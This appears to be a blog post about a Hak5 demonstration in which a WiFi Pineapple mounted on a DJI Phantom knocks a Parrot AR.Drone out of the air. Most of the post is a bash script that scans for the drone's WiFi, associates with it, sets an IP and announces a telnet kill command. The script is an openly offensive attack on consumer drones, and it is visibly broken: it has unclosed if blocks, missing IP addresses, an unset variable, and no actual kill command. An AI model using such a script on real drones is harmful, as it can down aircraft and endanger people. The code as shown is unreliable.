Drone Hacking from an airborne WiFi Pineapple – this time on Hak5. Darren demonstrates his proof of concept “Denial of Drone” attack targeting the Parrot AR.Drone from a WiFi Pineapple equipped DJI Phantom 2 Vision. Inspired by Sammy Kamkar’s Raspberry Pi based Skyjacking demo, this drone killer PoC takes a backdoor approach without the need to deauth clients.

#!/bin/bash version 0.1 by Darren Kitchen – absolutely horrible code. Do not use under any circumstance. Send all flame mail to

if ! ( iw wlan0 scan | grep SSID | awk ‘{print $2}’ | grep [a]rdrone ); then

echo “Drone Found! Attempting to connect”

iwconfig wlan1 essid $DRONESSID
sleep 2

echo “Testing Wireless Association”
if ! ( iwconfig wlan1 | grep $DRONESSID ); then
echo “Association to $DRONESSID failed”
echo “Association to $DRONESSID successful”

echo “Setting Static IP Address”
ifconfig wlan1 netmask up
sleep 2

echo “Testing IP Connection”
if ! ( ping -c1 | grep from ); then
echo “IP Connection Failed”
echo “IP Connection Successful”
echo “Connecting to Telnet and sending kill command. Banzai!”
